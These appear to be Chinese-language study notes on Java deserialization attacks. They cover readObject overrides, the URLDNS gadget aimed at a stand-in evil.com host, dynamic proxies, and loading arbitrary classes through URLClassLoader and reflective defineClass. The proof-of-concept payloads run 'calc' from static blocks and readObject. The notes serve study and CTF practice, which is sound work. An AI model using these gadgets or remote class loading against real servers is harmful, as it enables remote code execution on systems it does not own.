结构

jar(Java Archive)文件,是一个打包了Java类文件、资源文件(如配置文件、图片)、元数据(如MANIFEST.MF)等的zip格式归档文件

BOOT-INF是Spring Boot打包后特有的目录结构,一般出现在可执行JAR中

Spring Boot的标准打包结构中:

  • BOOT-INF/是核心,包含:

    • classes/——编译后的.class文件(应用程序代码)
    • lib/——所有依赖的第三方库(.jar文件)
  • META-INF/包含MANIFEST.MF,指定了主类,以及一下Spring Boot特有属性

  • 还可能有org/文件夹,——由于项目使用了某些框架或库,其类被直接打包在根目录下

。。。

反序列化

主要的是ObjectInputStream

序列化和反序列化协议

  • XML&SOAP
  • JSON(Javascript Object Notation)
  • Protobuf

实现

原生:

  • Serializable接口:标记类可被序列化
  • ObjectOutputStream.writeObject():序列化
  • ObjectInputStream.readObject():反序列化
  • serialVersionUID:版本控制

注意:

  • 只有implements Serializable的类才能实现序列化;

  • 同时writeObject()readObject()可以被重写的

  • 静态的属性(属于类)不会被序列化(对对象进行操作)

  • 对成员属性赋transient,表示不需要被序列化

风险出现

  • 入口类,修改了readObject,使得直接调用危险函数【unserialize需要调用到readObject,会先判断是否重写,重写了的话就用重写的】
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
//ser
import java.io.*;

class Person implements Serializable {
String name;
int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
@Override
public String toString() {
return "Person: " + name + ", age: " + age;
}

private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
in.defaultReadObject();
Runtime.getRuntime().exec("calc");
}
}

public class serialization {
public static void serialize(Person person) throws IOException {
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.bin"));
out.writeObject(person);//Person重写了writeObject!!!!!!!!

}
public static void main(String[] args) throws Exception{
Person person = new Person("xxx", 18);
serialize(person);
}
}




//unser
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class unserialize {
public static Object deserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
Person person = (Person)deserialize("ser.bin");
System.out.println(person);

}
}

image-20260222154756533

  • 入口类 source一个类(调用常见函数,JDK自带,参数类型广泛,重写了readObject——eg:HashMap类)
    • 入口
    • 调用链 gadget chain相同名称、类型
    • 执行类sink (RCE、ssrf、写文件)

[!TIP]

Gadget chain是指一系列类的串联调用路径,从反序列化入口触发,通过层层方法调用,最终抵达一个危险方法

Sink是整条链的终点(危险操作)

应用:

  1. 定制需要的对象,改值
  2. 通过invoke调用除了同名函数外的函数
  3. 通过Class类创建对象,引入不能序列化的类(Class可以被序列化,eg:Runtime)

HashMap实现

这里是利用URL.hashCode()的副作用(触发网络请求)

+HashMap的反序列化机制实现远程攻击

HashMap反序列化

HashMap自定义了readObject/writeObject

[!TIP]

  • transient Node<K,V>[] table;

    • HashMap用来存储数据的
      • 当多个 key 的 hash 计算后落在同一个桶(如都落在 index=3),就形成链表/红黑树。
    • 桶位置 = hash & (length-1),若序列化 table,反序列化后 length 可能变化 → get() 失败
    • 而且不同的JVM的hash算法/数组长度可能不同(HashMap不关心顺序,只关心键值是否对应),所以反序列化时要重新计算hash并重建结构
    • 且底层桶数组table可能大量为空
    • 所以就用transient来表示不参与序列化,而是自定义readObject/writeObject来实现只序列化key/value对
  • ——如下面代码所示,ObjectOutputStream的writeObject会先判断是否重写了writeObject,重写的话就调用重写的

image-20260212095029063

  • HashMapreadObject/writeObject都是private,避免了其他类继承HashMap时继承了这两个重写的方法

URL.hashCode()

会触发网络操作

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this);
return hashCode;
}

会在handler.hashCode(this)触发DNS解析/网络连接

==> 通过代码分析,我们通过反射操控hashCode=-1使得触发DNS

1
2
3
4
5
6
7
8
9
10
11
HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
URL url = new URL("xxx");
Class c = url.getClass();
Field hashcodefield = c.getDeclaredField("hashCode");
hashcodefield.setAccessible(true);
hashcodefield.set(url,1234);//设置url的hashcode为非-1值,避免构造时触发请求,为put()做准备
hashmap.put(url,1);//放入hashmap中
hashcodefield.set(url, -1);//设置
serialize(hashmap);

//只触发DNS查询,不访问网站
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
sequenceDiagram
participant A as 攻击者构造
participant B as 序列化
participant C as 服务器反序列化

A->>A: 1. 创建 URL("http://evil.com")
A->>A: 2. 反射设 hashCode=1234(避免本地触发)
A->>A: 3. map.put(url, 1) → 调用 url.hashCode()=1234(安全)
A->>A: 4. 反射改回 hashCode=-1(埋炸弹)
A->>B: 5. serialize(map) → 写入 URL 对象(含 hashCode=-1)
B->>C: 6. 传输序列化数据
C->>C: 7. readObject() 读取 URL 对象(hashCode=-1)
C->>C: 8. putVal(hash(key), ...) → 调用 key.hashCode()
C->>C: 9. URL.hashCode() → hashCode==-1 → handler.hashCode()
C->>C: 10. 触发 DNS 查询到 evil.com 💥

动态代理实现加代码

代理

代理:不修改原有代码,增加功能

静态代理:

  • 定义一个接口(或父类),声明业务方法。
  • 目标类实现该接口,提供真实业务逻辑。
  • 代理类也实现同一接口,并持有目标对象的引用,在调用目标方法前后添加增强逻辑。【代理类中有目标类对象】
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
// 接口
public interface UserService {
void addUser(String username);
}

// 目标类
public class UserServiceImpl implements UserService {
@Override
public void addUser(String username) {
System.out.println("添加用户:" + username);
}
}

// 静态代理类
public class UserServiceProxy implements UserService {
private UserService target; // 持有目标对象

public UserServiceProxy(UserService target) {
this.target = target;
}

@Override
public void addUser(String username) {
System.out.println("前置日志:准备添加用户");
target.addUser(username); // 调用目标方法
System.out.println("后置日志:用户添加完成");
}
}

// 使用
public class Client {
public static void main(String[] args) {
UserService target = new UserServiceImpl();
UserService proxy = new UserServiceProxy(target);
proxy.addUser("张三");
}
}

缺点:

  • 代理类与目标类实现相同接口,导致代码冗余。如果接口新增方法,代理类和目标类都需要修改。
  • 一个代理类只能服务于一个接口,如果需要代理多个类,就需要编写多个代理类,维护成本高。

动态代理:

减少代码量,更适配

JDK动态代理基于接口实现,使用 java.lang.reflect.Proxy 类和 java.lang.reflect.InvocationHandler 接口。

原理

  • 通过 Proxy.newProxyInstance() 方法在运行时生成一个实现了指定接口的代理类。
  • 代理类的方法调用会被转发到 InvocationHandlerinvoke 方法,在 invoke 中可以添加增强逻辑并调用目标方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;

//定义业务接口
interface UserService{
void add();
void delete();
}

//目标类
class UserServiceImpl implements UserService{
@Override
public void add() {
System.out.println("UserServiceImpl.add");
}

public void delete(){
System.out.println("UserServiceImpl.delete");
}
}

//动态代理处理器
class JdkProxy implements InvocationHandler {

private Object target;//被代理的目标对象

public JdkProxy(Object target){
this.target = target;
}

//!!!
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable{
//proxy用于操作代理对象,
//...
System.out.println("JdkProxy.invoke");
Object result = method.invoke(target, args);//不要把target写成proxy,会导致无限循环
//proxy是代理对象,调用它的任何方法都会再次进入invoke,从而导致无限循环
System.out.println("JdkProxy.invoke");
//...

return result;
}

//创建代理对象的静态方法
public static Object createProxy(Object target) {
return Proxy.newProxyInstance(
target.getClass().getClassLoader(),//类加载器
target.getClass().getInterfaces(),//目标实现的接口
new JdkProxy(target)//调用处理器
);
}
}

public class proxy_Handler {
public static void main(String[] args){
//创建目标对象
UserServiceImpl user = new UserServiceImpl();
user.add();

//创建代理对象
UserService proxy = (UserService) JdkProxy.createProxy(user);
//用接口来接收,目标对象传输
proxy.add();//invoke捕抓

}
}

  • UserService 是业务接口,定义了 addUser 方法。
  • UserServiceImpl 是目标类,实现了接口中的方法。
  • JdkProxyHandler 实现了 InvocationHandler,在 invoke 方法中添加了前置和后置处理逻辑,并调用目标方法。
  • Client 类中通过 JdkProxyHandler.createProxy(target) 获取代理对象,然后调用方法时会自动触发 invoke 中的增强逻辑。

[!NOTE]

接口类来接收代理,目标对象来传递数据

动态代理生成的代理对象是运行到创建的新类的实例

  • InvocationHandler(你的 proxy 类)只是负责处理方法的回调,它本身不是代理对象。
  • 代理对象是实际接收方法调用的“替身”,它将所有调用转发给 InvocationHandlerinvoke 方法。
  • 为了保证透明性,代理对象的类型必须与目标对象的接口兼容,这样客户端代码才能用接口替换真实对象。

利用

InvocationHandler.readObject()

CommonsCollections + AnnotationInvocationHandler

类加载机制

类加载

类加载过程的时候会执行代码

image

初始化使用过程会调用代码

  • 初始化:执行 静态代码块 [不会执行静态方法]
  • 实例化:执行 构造代码块、无参构造代码函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class ClassLoaderTest
{
static int id;

public ClassLoaderTest() {
System.out.println("无参构造");
}
public ClassLoaderTest(int id) {
System.out.println("有参构造");
}

public static void setid(){
System.out.println("静态方法");
}

//构造代码块——不管用什么构造方法都会执行
{
System.out.println("构造代码块");
}
//静态代码块——。。。静态方法。。。
static {
System.out.println("静态代码块");
}

public static void main(String[] args){
// ClassLoaderTest test = new ClassLoaderTest();
// ClassLoaderTest.setid();
Class c = Person.class;
}
}

[!IMPORTANT]

动态类加载方法

1
2
3
4
5
6
7
8
9
10
11
12
13
//Class c = Object.class;
Class.forName("...");
//会执行静态代码块,默认初始化为true

//也可
ClassLoader cl = ClassLoader.getSystemClassLoader();
//ClassLoader是abstract,不能实例化,调用静态方法
Class<?> c = Class.forName("...", false, cl);
//不初始化,不会执行静态代码


//初始化
c.newInstance();

ClassLoader

1
2
ClassLoader cl = ClassLoader.getSystemClassLoader();
System.out.println(cl);

双亲委派类加载器

img

  • 启动类加载器(Bootstrap ClassLoader):它负责将存放在%JAVA_HOME%\lib目录中的,或者被-Xbootclasspath参数所指定的路径中的,并且是JVM识别的类库加载到JVM内存中。它仅按照文件名识别,如rt.jar,名字不符合的类库即使放在lib目录中也不会被加载。它是由C++语言实现的,无法被Java程序直接引用。
  • 扩展类加载器(Extension ClassLoader):它负责加载%JAVA_HOME%\lib\ext目录中的,或者被java.ext.dirs系统变量所指定的路径中的所有类库。它由sun.misc.Launcher.ExtClassLoader实现,开发者可以直接使用扩展类加载器。
  • 应用程序类加载器(Application ClassLoader):它负责加载用户类路径ClassPath)上所指定的类库。由于它是ClassLoader中的getSystemClassLoader()方法的返回值,所以一般也称它为系统类加载器。它由sun.misc.Launcher.AppClassLoader来实现,开发者可以直接使用这个类加载器,如果应用程序中没有自定义过自己的类加载器,一般情况下这个就是程序中默认的类加载器。

[!IMPORTANT]

除了顶层的启动类加载器外,其余的类加载器都必须有自己的父类加载器。类加载器之间的父子关系,一般不会以继承的关系来实现,而是都使用组合关系来复用父类加载器。

——不是继承关系,实际上是通过parent引用来形成层次;只是向上查询

1
2
3
4
5
区分 java父类 和 父加载器

所有类加载器(除了Bootstrap)都是java.lang.ClassLoader的子类
——有自己的真正**继承**上的父类

类加载器收到类加载的请求后,它不会首先自己去尝试加载这个类,而是把这个请求委派给父类加载器去尝试加载。每一个类加载器都是如此,因此所有的加载请求最终都应该传送到顶层的启动类加载器中。只有当父类加载器反馈自己无法完成这个加载请求(它的搜索范围中没有找到所需的类)时,子加载器才会尝试自己去加载。这样就保证了类在JVM中的唯一性,也保证了Java程序稳定运作。

利用

1
2
3
Class<?> c = cl.LoaderClass("...");
//不进行初始化
c.newInstance();//实例化

通过这样操作实现加载任意类

1
2
3
4
5
6
7
8
//继承
ClassLoader(java.lang)->
SecureClassLoader(java.security)->
URLClassLoader(java.net)->
AppClassLoader(sun.misc)


loadClass->findClass(重写方法)->defineClass(从字节码加载类)

思路1URLClassLoader

URLClassLoader获取路径(file:///、http://、jar:file:///.../.jar等)

==>loadClass加载.class文件

1
自己开http,在目标机上输入代码来加载恶意的payload

程序1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import sun.misc.Launcher;

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class ClassLoaderTest
{
public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {

URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///C:\\Users\\vk\\Desktop\\JAVA_ctf_test\\serialize\\test\\")});
Class<?> c = urlClassLoader.loadClass("exec_payloader");
c.newInstance();
}
}

程序2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import sun.misc.Launcher;

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class ClassLoaderTest
{
public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {

URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://localhost:8089")});
//自己先在对应的目录下开一个python的python -m http.server 8089
Class<?> c = urlClassLoader.loadClass("Hello");
c.newInstance();
}
}

附件

Hello.java

1
2
3
4
5
6
7
8
9
10
//Hello.java
public class Hello {
static {
System.out.println("Hello World");
}
public static void main(String[] args) {
// System.out.println("Hello World");
}
}

exec_payloader

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//exec_payloader
import java.io.IOException;

public class exec_payloader
{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public static void main(String[] args) throws IOException {
// Runtime.getRuntime().exec("calc");
}
}

思路2defineClass

传字节码形式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import sun.misc.Launcher;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;

public class ClassLoaderTest
{
public static void main(String[] args) throws ClassNotFoundException, IOException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {

ClassLoader cl = ClassLoader.getSystemClassLoader();
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\vk\\Desktop\\JAVA_ctf_test\\serialize\\test\\exec_payloader.class"));
Class c = (Class)defineClassMethod.invoke(cl,"exec_payloader",code,0,code.length);
c.newInstance();
}
}

//ClassLoader.defineClass字节码加载任意类,私有

——更通用,因为是直接传字节码形式

1
2
//Unsafe.defineClass字节码加载 public 类不能直接生成
//Spring里面可以直接生成